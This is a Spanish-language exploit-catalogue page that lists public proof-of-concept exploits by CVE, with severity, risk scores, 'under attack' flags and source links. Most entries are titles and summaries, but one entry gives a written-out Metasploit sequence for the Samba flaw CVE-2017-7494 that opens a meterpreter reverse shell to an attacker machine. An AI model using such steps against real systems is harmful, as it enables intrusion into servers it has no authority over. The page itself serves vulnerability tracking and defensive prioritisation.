Explotación pública

Catálogo de exploits

Todo exploit público que catalogamos, en un solo índice. Busca por CVE, nombre del exploit o tecnología — y mira, al lado, lo que la falla realmente vale: severidad, probabilidad de explotación y si ya está bajo ataque.

88.644exploits catalogados

40.922CVEs con explotación pública

24.696probados en laboratorio

Todos Referência 26.560Exploit-DB 24.489GitHub PoC 18.407VulnCheck XDB 11.064Nuclei 4584Metasploit 3540✓ solo verificadosrecientes populares riesgo

88.056 exploits

GitHub PoC★ 1

POC for CVE-2026-48907

CVE-2026-48907CRITICALbajo ataque30 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-48907CRITICALbajo ataque30 jun 2026

Joomla Extension - joomlacontenteditor.net - Remote Code Execution in JCE extension for Joomla < 2.9.99.5

100RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-58138CRITICAL30 jun 2026

Orkes Conductor 3.21.21 < 3.30.2 Unauthenticated RCE via GraalVM Script Evaluators

63RIESGO

abrir ↗

GitHub PoC

CVE-2012-1823 - PHP CGI Argument Injection Remote Code Execution (RCE)

CVE-2012-1823CRITICALbajo ataque30 jun 2026

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

100RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2012-1823CRITICALbajo ataque30 jun 2026

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

100RIESGO

abrir ↗

VulnCheck XDB

info-leak

CVE-2026-8451HIGH30 jun 2026

Insufficient input validation leading to memory overread

46RIESGO

abrir ↗

GitHub PoC

CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML injection -> signed-assertion privilege escalation. Self-contained PoC, verified e2e.

CVE-2026-46490HIGH30 jun 2026

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

41RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2026-49869CRITICALbajo ataque30 jun 2026

Kestra: Unauthenticated Remote Code Execution via Authentication Bypass in `AuthenticationFilter`

78RIESGO

abrir ↗

GitHub PoC

Ovaj sto se skida isto ovaj s metasplotiom kucas msf console pa onda search CVE-2017-7494 pa use exploit/linux/samba/is_known_pipeline pa show options pa set RHOSTS (ip servera) set RPORt 445 (port za tu ranjivist) SET payload linux/x86/meterpreter/reverse_tcp SET LHOST ip kalija SET LORT 4444 pa exploit i ako je ranjiv dobijemo sesiju

CVE-2017-7494CRITICALbajo ataqueransomware30 jun 2026

Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allo

100RIESGO

abrir ↗

GitHub PoC

rootdirective-sec/CVE-2026-55255-Lab

CVE-2026-55255HIGHbajo ataque30 jun 2026

Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow

71RIESGO

abrir ↗

GitHub PoC★ 16

Linux kernel FUSE readdir cache out-of-bounds write (CVE-2026-31694): a malicious FUSE server overflows a page-cache page by 24 bytes. PoC plus an unprivileged local-root exploit via /etc/passwd page-cache corruption. Run only inside a VM.

CVE-2026-31694HIGH30 jun 2026

fuse: reject oversized dirents in page cache

41RIESGO

abrir ↗

GitHub PoC

Defensive validation of CVE-2026-46331 / pedit COW with auditd, AppArmor, mitigation comparison and detection logic.

CVE-2026-46331HIGH30 jun 2026

net/sched: fix pedit partial COW leading to page cache corruption

41RIESGO

abrir ↗

GitHub PoC

Independent reverse engineering and reproduction of CVE-2015-1187, an unauthenticated command injection in the D-Link DIR-820L (Rev A, v1.05B03). MIPS firmware extraction with binwalk, static analysis in Ghidra, and tracing the `ping_addr` parameter to its command-execution sink.

CVE-2015-1187CRITICALbajo ataque30 jun 2026

The ping tool in multiple D-Link and TRENDnet devices allow remote attackers to execute arbitrary code via the ping_addr

100RIESGO

abrir ↗

Metasploit600

Langflow AI Code Validation Authenticated RCE

CVE-2026-7873CRITICAL30 jun 2026

Code Injection Vulnerability in Code Validation Endpoint

63RIESGO

abrir ↗

GitHub PoC★ 3

CVE-2026-43284 - CVE-2026-43500 - CVE-2026-46300 Variant of dirtyfrag exploit

CVE-2026-46300HIGHbajo ataque30 jun 2026

net: skbuff: preserve shared-frag marker during coalescing

91RIESGO

abrir ↗

GitHub PoC★ 13

watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451

CVE-2026-8451HIGH30 jun 2026

Insufficient input validation leading to memory overread

46RIESGO

abrir ↗

GitHub PoC

Chequeo y Fix de la vulnerabilidad "pedit COW"

CVE-2026-46331HIGH30 jun 2026

net/sched: fix pedit partial COW leading to page cache corruption

41RIESGO

abrir ↗

GitHub PoC

Defensive validation of CVE-2026-46331 / pedit COW with auditd, AppArmor, mitigation comparison and detection logic.

CVE-2026-46331HIGH30 jun 2026

net/sched: fix pedit partial COW leading to page cache corruption

41RIESGO

abrir ↗

GitHub PoC★ 1

CVE-2025-45422: Proximus b-box UPnP Persistence & Access Control Bypass

CVE-2025-45422HIGH30 jun 2026

Incorrect access control in Proximus b-box v8c.725A allows authenticated attackers to bypass normal restrictions and mak

41RIESGO

abrir ↗

GitHub PoC

CVE-2026-46817 - Draft

CVE-2026-46817CRITICALbajo ataque30 jun 2026

Vulnerability in the Oracle Payments product of Oracle E-Business Suite (component: File Transmission). Supported versi

83RIESGO

abrir ↗

GitHub PoC

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) unauthenticated RCE via INLINE GraalVM evaluator (HostAccess.ALL). Lab + PoC, verified e2e (root).

CVE-2026-58138CRITICAL30 jun 2026

Orkes Conductor 3.21.21 < 3.30.2 Unauthenticated RCE via GraalVM Script Evaluators

63RIESGO

abrir ↗

GitHub PoC★ 12

app that ports CVE-2019-2215 to arm32 and mounts a su binary to /sbin with denylist + root app installer. firehose/Magisk guide included

CVE-2019-2215HIGHbajo ataque30 jun 2026

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. No user interacti

100RIESGO

abrir ↗

VulnCheck XDB

initial-access

CVE-2023-41892CRITICAL30 jun 2026

Craft CMS Remote Code Execution vulnerability

85RIESGO

abrir ↗

GitHub PoC★ 3

Kestra Auth-Bypass Vulnerability Checker

CVE-2026-49869CRITICALbajo ataque30 jun 2026

Kestra: Unauthenticated Remote Code Execution via Authentication Bypass in `AuthenticationFilter`

78RIESGO

abrir ↗

GitHub PoC★ 1

CVE-2025-40271 Modifed By MadEploits

CVE-2025-40271HIGH30 jun 2026

fs/proc: fix uaf in proc_readdir_de()

41RIESGO

abrir ↗

VulnCheck XDB

info-leak

CVE-2026-4020HIGH30 jun 2026

Gravity SMTP <= 2.1.4 - Unauthenticated Sensitive Information Exposure via REST API

78RIESGO

abrir ↗

GitHub PoC

CVE-2026-8037 - Draft

CVE-2026-8037CRITICALbajo ataque30 jun 2026

OS Command Injection Remote Code Execution Vulnerability in Progress LoadMaster, ECS Connection Manager, Object Scale Connection Manager & MOVEit WAF

100RIESGO

abrir ↗

GitHub PoC★ 14

DirtySlide XNU Exploit (CVE-2026-43724) For MacOS

CVE-2026-43724HIGH30 jun 2026

The issue was addressed with improved input sanitization. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 26.

41RIESGO

abrir ↗

GitHub PoC

CVE-2026-44789 — n8n <1.123.43 HTTP Request pagination prototype pollution to RCE (NODE_OPTIONS runner-spawn gadget). Lab + automated PoC, verified e2e.

CVE-2026-44789CRITICAL30 jun 2026

n8n: HTTP Request Node Pagination Prototype Pollution to RCE

48RIESGO

abrir ↗

VulnCheck XDB

remote-with-credentials

CVE-2026-55255HIGHbajo ataque30 jun 2026

Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow

71RIESGO

abrir ↗

Indexamos solo el enlace público a la prueba de concepto — nunca alojamos ni redistribuimos código de explotación. Fuentes: PoC-in-GitHub, Exploit-DB, Nuclei, Metasploit y VulnCheck XDB. La existencia de PoC pública no significa que la falla sea explotable en tu entorno.